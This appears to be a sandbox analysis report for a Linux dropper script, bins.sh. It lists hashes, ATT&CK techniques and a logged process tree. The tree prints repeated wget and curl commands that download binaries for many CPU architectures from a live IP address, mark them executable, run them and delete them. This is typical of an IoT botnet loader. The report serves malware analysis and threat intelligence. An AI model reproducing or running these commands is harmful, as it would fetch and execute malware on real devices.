6298d0285eddfd86c68e1887758745e5ce19b327d09709352489951c3d57defb

Analysis

max time kernel
149s
max time network
149s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
23/05/2026, 15:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bins.sh
Size 1KB
Sample260523-tejjasft81
SHA256 6298d0285eddfd86c68e1887758745e5ce19b327d09709352489951c3d57defb
MD5 23018f6639002579bd7ff8ecb937a040
SHA1 5569ca856a1fc5c6023fd8337664866eeb9909af
SHA512 7be2385618dad8debe20a818acc23ac2d125f0098db3c8bbd64a485c79e19876289de434afd1ff41121dac1015ea5bfb8a8117d79f6342c5e318f9f95a478c1f
TLSH
T18041468B62E090B3CC69DD41F35494C4D49B86C371EBAEBCF8BC55A2489941CF1BAB60
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 19 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
764	chmod
796	chmod
839	chmod
852	chmod
861	chmod
741	chmod
753	chmod
813	chmod
907	chmod
759	chmod
847	chmod
878	chmod
902	chmod
769	chmod
781	chmod
829	chmod
894	chmod
912	chmod
917	chmod

Executes dropped EXE 19 IoCs

ioc	pid	Process
/tmp/x86	743	bins.sh
/tmp/x86	754	bins.sh
/tmp/i386	760	bins.sh
/tmp/i386	765	bins.sh
/tmp/amd64	770	bins.sh
/tmp/amd64	783	bins.sh
/tmp/arm	798	bins.sh
/tmp/arm	815	bins.sh
/tmp/armv7l	831	bins.sh
/tmp/armv7l	840	bins.sh
/tmp/arm5	848	bins.sh
/tmp/arm5	853	bins.sh
/tmp/arm6	863	bins.sh
/tmp/arm6	879	bins.sh
/tmp/arm64	896	bins.sh
/tmp/arm64	903	bins.sh
/tmp/android_arm64	908	bins.sh
/tmp/android_arm64	913	bins.sh
/tmp/mips	918	bins.sh

Enumerates kernel/hardware configuration 1 TTPs 1 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/kernel/mm/transparent_hugepage/hpage_pmd_size	mips

Reads runtime system information 9 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
916	wget
918	mips

Writes file to tmp directory 19 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/i386	curl
File opened for modification	/tmp/amd64	curl
File opened for modification	/tmp/arm	curl
File opened for modification	/tmp/armv7l	curl
File opened for modification	/tmp/arm64	wget
File opened for modification	/tmp/x86	wget
File opened for modification	/tmp/x86	curl
File opened for modification	/tmp/i386	wget
File opened for modification	/tmp/armv7l	wget
File opened for modification	/tmp/android_arm64	wget
File opened for modification	/tmp/android_arm64	curl
File opened for modification	/tmp/amd64	wget
File opened for modification	/tmp/arm5	curl
File opened for modification	/tmp/arm64	curl
File opened for modification	/tmp/mips	wget
File opened for modification	/tmp/arm	wget
File opened for modification	/tmp/arm5	wget
File opened for modification	/tmp/arm6	wget
File opened for modification	/tmp/arm6	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:722
- /usr/bin/wget
  wget http://176.65.139.202/x86 -O x86
  2⤵
  - Writes file to tmp directory
  PID:724
- /bin/chmod
  chmod +x x86
  2⤵
  - File and Directory Permissions Modification
  PID:741
- /tmp/x86
  ./x86
  2⤵
  PID:743
- /bin/rm
  rm -f x86
  2⤵
  PID:745
- /usr/bin/curl
  curl -O http://176.65.139.202/x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:746
- /bin/chmod
  chmod +x x86
  2⤵
  - File and Directory Permissions Modification
  PID:753
- /tmp/x86
  ./x86
  2⤵
  PID:754
- /bin/rm
  rm -f x86
  2⤵
  PID:757
- /usr/bin/wget
  wget http://176.65.139.202/i386 -O i386
  2⤵
  - Writes file to tmp directory
  PID:758
- /bin/chmod
  chmod +x i386
  2⤵
  - File and Directory Permissions Modification
  PID:759
- /tmp/i386
  ./i386
  2⤵
  PID:760
- /bin/rm
  rm -f i386
  2⤵
  PID:762
- /usr/bin/curl
  curl -O http://176.65.139.202/i386
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:763
- /bin/chmod
  chmod +x i386
  2⤵
  - File and Directory Permissions Modification
  PID:764
- /tmp/i386
  ./i386
  2⤵
  PID:765
- /bin/rm
  rm -f i386
  2⤵
  PID:767
- /usr/bin/wget
  wget http://176.65.139.202/amd64 -O amd64
  2⤵
  - Writes file to tmp directory
  PID:768
- /bin/chmod
  chmod +x amd64
  2⤵
  - File and Directory Permissions Modification
  PID:769
- /tmp/amd64
  ./amd64
  2⤵
  PID:770
- /bin/rm
  rm -f amd64
  2⤵
  PID:772
- /usr/bin/curl
  curl -O http://176.65.139.202/amd64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:773
- /bin/chmod
  chmod +x amd64
  2⤵
  - File and Directory Permissions Modification
  PID:781
- /tmp/amd64
  ./amd64
  2⤵
  PID:783
- /bin/rm
  rm -f amd64
  2⤵
  PID:785
- /usr/bin/wget
  wget http://176.65.139.202/arm -O arm
  2⤵
  - Writes file to tmp directory
  PID:787
- /bin/chmod
  chmod +x arm
  2⤵
  - File and Directory Permissions Modification
  PID:796
- /tmp/arm
  ./arm
  2⤵
  PID:798
- /bin/rm
  rm -f arm
  2⤵
  PID:800
- /usr/bin/curl
  curl -O http://176.65.139.202/arm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:801
- /bin/chmod
  chmod +x arm
  2⤵
  - File and Directory Permissions Modification
  PID:813
- /tmp/arm
  ./arm
  2⤵
  PID:815
- /bin/rm
  rm -f arm
  2⤵
  PID:817
- /usr/bin/wget
  wget http://176.65.139.202/armv7l -O armv7l
  2⤵
  - Writes file to tmp directory
  PID:819
- /bin/chmod
  chmod +x armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:829
- /tmp/armv7l
  ./armv7l
  2⤵
  PID:831
- /bin/rm
  rm -f armv7l
  2⤵
  PID:834
- /usr/bin/curl
  curl -O http://176.65.139.202/armv7l
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:836
- /bin/chmod
  chmod +x armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:839
- /tmp/armv7l
  ./armv7l
  2⤵
  PID:840
- /bin/rm
  rm -f armv7l
  2⤵
  PID:842
- /usr/bin/wget
  wget http://176.65.139.202/arm5 -O arm5
  2⤵
  - Writes file to tmp directory
  PID:843
- /bin/chmod
  chmod +x arm5
  2⤵
  - File and Directory Permissions Modification
  PID:847
- /tmp/arm5
  ./arm5
  2⤵
  PID:848
- /bin/rm
  rm -f arm5
  2⤵
  PID:850
- /usr/bin/curl
  curl -O http://176.65.139.202/arm5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:851
- /bin/chmod
  chmod +x arm5
  2⤵
  - File and Directory Permissions Modification
  PID:852
- /tmp/arm5
  ./arm5
  2⤵
  PID:853
- /bin/rm
  rm -f arm5
  2⤵
  PID:855
- /usr/bin/wget
  wget http://176.65.139.202/arm6 -O arm6
  2⤵
  - Writes file to tmp directory
  PID:856
- /bin/chmod
  chmod +x arm6
  2⤵
  - File and Directory Permissions Modification
  PID:861
- /tmp/arm6
  ./arm6
  2⤵
  PID:863
- /bin/rm
  rm -f arm6
  2⤵
  PID:866
- /usr/bin/curl
  curl -O http://176.65.139.202/arm6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:867
- /bin/chmod
  chmod +x arm6
  2⤵
  - File and Directory Permissions Modification
  PID:878
- /tmp/arm6
  ./arm6
  2⤵
  PID:879
- /bin/rm
  rm -f arm6
  2⤵
  PID:882
- /usr/bin/wget
  wget http://176.65.139.202/arm64 -O arm64
  2⤵
  - Writes file to tmp directory
  PID:884
- /bin/chmod
  chmod +x arm64
  2⤵
  - File and Directory Permissions Modification
  PID:894
- /tmp/arm64
  ./arm64
  2⤵
  PID:896
- /bin/rm
  rm -f arm64
  2⤵
  PID:898
- /usr/bin/curl
  curl -O http://176.65.139.202/arm64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:900
- /bin/chmod
  chmod +x arm64
  2⤵
  - File and Directory Permissions Modification
  PID:902
- /tmp/arm64
  ./arm64
  2⤵
  PID:903
- /bin/rm
  rm -f arm64
  2⤵
  PID:905
- /usr/bin/wget
  wget http://176.65.139.202/android_arm64 -O android_arm64
  2⤵
  - Writes file to tmp directory
  PID:906
- /bin/chmod
  chmod +x android_arm64
  2⤵
  - File and Directory Permissions Modification
  PID:907
- /tmp/android_arm64
  ./android_arm64
  2⤵
  PID:908
- /bin/rm
  rm -f android_arm64
  2⤵
  PID:910
- /usr/bin/curl
  curl -O http://176.65.139.202/android_arm64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:911
- /bin/chmod
  chmod +x android_arm64
  2⤵
  - File and Directory Permissions Modification
  PID:912
- /tmp/android_arm64
  ./android_arm64
  2⤵
  PID:913
- /bin/rm
  rm -f android_arm64
  2⤵
  PID:915
- /usr/bin/wget
  wget http://176.65.139.202/mips -O mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:916
- /bin/chmod
  chmod +x mips
  2⤵
  - File and Directory Permissions Modification
  PID:917
- /tmp/mips
  ./mips
  2⤵
  - Enumerates kernel/hardware configuration
  - System Network Configuration Discovery
  PID:918

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

amd64

Path /tmp/amd64
Size 4.8MB
SHA256 d7ce71db654dfea794d5d8f4f08620cc4e7245d86985290f9baceebe2dce983b
MD5 c556446ac71058f29c09b3d124c2af82
SHA1 2c7da421acf98f67d97f07c1f3264d4113f23e31
SHA512 9e30597467063e5dbe9a36f5883a536a97547139aa493ee5cacd76891e519026cf3db02f98c0c84d588793953bdffd31f0bf603197e2bbf04da0e4cd90579afc
SSDEEP 49152:ibx1XdgoyTVQuhnfYmMhP9u4M6gvCShiZQUDoa5EPzzU/eq51T9xQH+f:AEauhfY9n6vCSotowEPUTD3
TLSH
T13C363917EC9145E9C0EED631CA669252BA717C485B3027D32F60F7392F72BD0AAB9704
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

android_arm64

Path /tmp/android_arm64
Size 5.1MB
SHA256 313f4a546d4f1019d10a02294dd28c1937fd5d026afce1aabfb0d9be3e320e2a
MD5 e3dec08c092a6e32e15810ffc9e9210a
SHA1 d1de4c1711c75dabb86c381acdbdee839a9d6531
SHA512 d392b7e1cee13432551e46b7efaf5e127f160f34b0f9982fddcf5b717ad2a0c025bc9227db741a9ef9b44412673f749870d02903155ea5a7c9aba8d4065ada8b
SSDEEP 49152:knuqtyQfieR6bqHSKQDKhFzfC5E6Uey4unqi49:2uqt3fi+6bQSKQDKhFzf4EBqi+
TLSH
T18A463A9CF81DE5A2DDD8BA747BA141867639BC45AF81C7232600B76D75F33D88F22260
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm

Path /tmp/arm
Size 4.7MB
SHA256 4747ed18f804c6f83b2ebfd846b8c41a353bcede2671ce076e4ae8a5db47871e
MD5 53187a8fdcb02ff61cc9165c395ae0e6
SHA1 45a4b5f8784165e039d526fc05bc222eb6819a05
SHA512 4306770eac20f031a2e9d497d05064769d3d457e60e6651fe8778583e99c78827576a876a10aaeba21606b1251627bf468be24fdc993741807244a21b9f1ccd6
SSDEEP 24576:pjVWSxWAHVW1jajGiq4h9qY+qv9vYwdlBREOxF2QYi/piR3n6TAAs8tUzKAuUlND:v559Id2QET/bY+Ay8vWPMJyB28wAY
TLSH
T144360997B8D14A43C4E4367AB8BD81C833A34EB99B9713566D05FE3C3ABE1990E35314
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm5

Path /tmp/arm5
Size 4.8MB
SHA256 2f99b81bc710002d56dcd99a8a7be981cfdb0e273fe5a2e77597dc887b22bf52
MD5 fbb3040538e259d51501647cfe2b790a
SHA1 4ff7753142eb6fd361733ea4edec083639118eb2
SHA512 51a164c8263394aa0ee039f76de5298c68954c799cce7f0f34108d12b81c621e4f410098f078ead077ba4d79996ce99de2da244499014f0ba7885343dd7c9248
SSDEEP 49152:3ux/+ioBE1Xuz7pEFPHrh91lXKY4Rm/ww6B7VUyizDXenlM1h:+x/+S1X/9HL1laY4RGm5izDXenlM1h
TLSH
T120361A87B8D24A43C4E4367AB87D81C872A34EB99B97135A5D04FE3C3BBE1990E35714
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm6

Path /tmp/arm6
Size 4.7MB
SHA256 a4b9431b109670773925f8da721c0a10342b4e3986b2f18a5d380e109a9c0fec
MD5 cdf9a2354923693c1b1c75cf5f000dc9
SHA1 f175e003aebb4fd25512f6b6e17b8d8df890b5eb
SHA512 45d5dd0d8e6af824d7fdc043fb51314d1e542ea8816a1cdc095fc6a77e0c23b3d813faa7be0231bc82f0baa5f8dfa4a5ee52ed4141eaedda4cfe98ef8e1deb1f
SSDEEP 24576:J1aBkWO3wadzwaH/9lRO8wi4HUFJAlR1anVX0ruJJeiP68sLNBojZw99oPpOiDtI:FvIhO/TvWdiSd9wwycyeLlA1snv
TLSH
T1EA360997B8D14A43C4E43676B8BD81C833A34EB99B9713666D04FE3C3ABE1990E35714
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm64

Path /tmp/arm64
Size 4.6MB
SHA256 1978d1201613ca6db2abdd7a6d7633d84e5e1f9e5e01da9f1a187d2aeec9d739
MD5 c840d0367e6e4a5ef152b32ac5917c0e
SHA1 20540d28e28c47c1f4359e89f335281a57800720
SHA512 0d06a73ec86fb69199e76c92716e80895aafb72928f8d18f1ba880aa473410411381047f51b47ae56ec49ec581a33a3b8d4aaa6bfcb0b962cc1578a7c05363f2
SSDEEP 24576:nDNK6Fxw1aDV2IDWZrH2+6wM16tIoRbTCcAHbnSw2sOk5cvE7SCfTqXk59yjybza:nDdwl27DoRbTCcS92sOds75EyEVPvVfd
TLSH
T1AA266CA8BC1CB552DEC87AB43B6541D5B235FC48AF41C7277614BBADA9F23548F22320
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mips

Path /tmp/mips
Size 5.3MB
SHA256 274b9cbf6306c7d0b6b7c92f565aa87d8c17bdf13fd7954c407ffb479034f675
MD5 c4bc7a5ba091a59c91209b5a389318e4
SHA1 ae6837097db3e172abe31059cf4b0e43bf09a1b5
SHA512 83cc46df92f345900b89d18d82d922322aa44805bf8f27360f07ed1890cf46fb49a97b4c6f69f8df9f66a6687a8ef2288f88644c5771cf5317f3152cb08a62ed
SSDEEP 49152:1b02CbccirWGBnPRts2wzNdncsBeG0xjvbYNAMj260bAW5rqXbdQhJ69LZcB1V0e:6GUWEK1V0ne
TLSH
T12E4619277A28DB0ED228213458B1CE99673A2C4646D7A527B391F30DA8F20BC5D5FDF1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

x86

Path /tmp/x86
Size 4.7MB
SHA256 f493d88214672fede3c70dc31bd2b3b9da93b13934715c4a84474e10cd6d6d9d
MD5 2f989adc009e8432819d92594abac88d
SHA1 5d08357ce2f7323fad876d5121a932fe99bfa928
SHA512 18617e1ec404a3d280997979062d1fdb60b5450db070722cd1a6b4bd1090bb8c481c91f4e7c70ffe6b422ba9ca1812b8aa9a6d2e20d08f4b846119220594e954
SSDEEP 49152:rF2ItAqee7182S4P1EiiFV8YommyEW6WcqBIxaWWNTfAhvi:x2ItzeqYXL3AJi
TLSH
T1F7361950FECB05F6E9031D3144ABA26F53315E098B24EBD7EA14BF29F977692193620C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads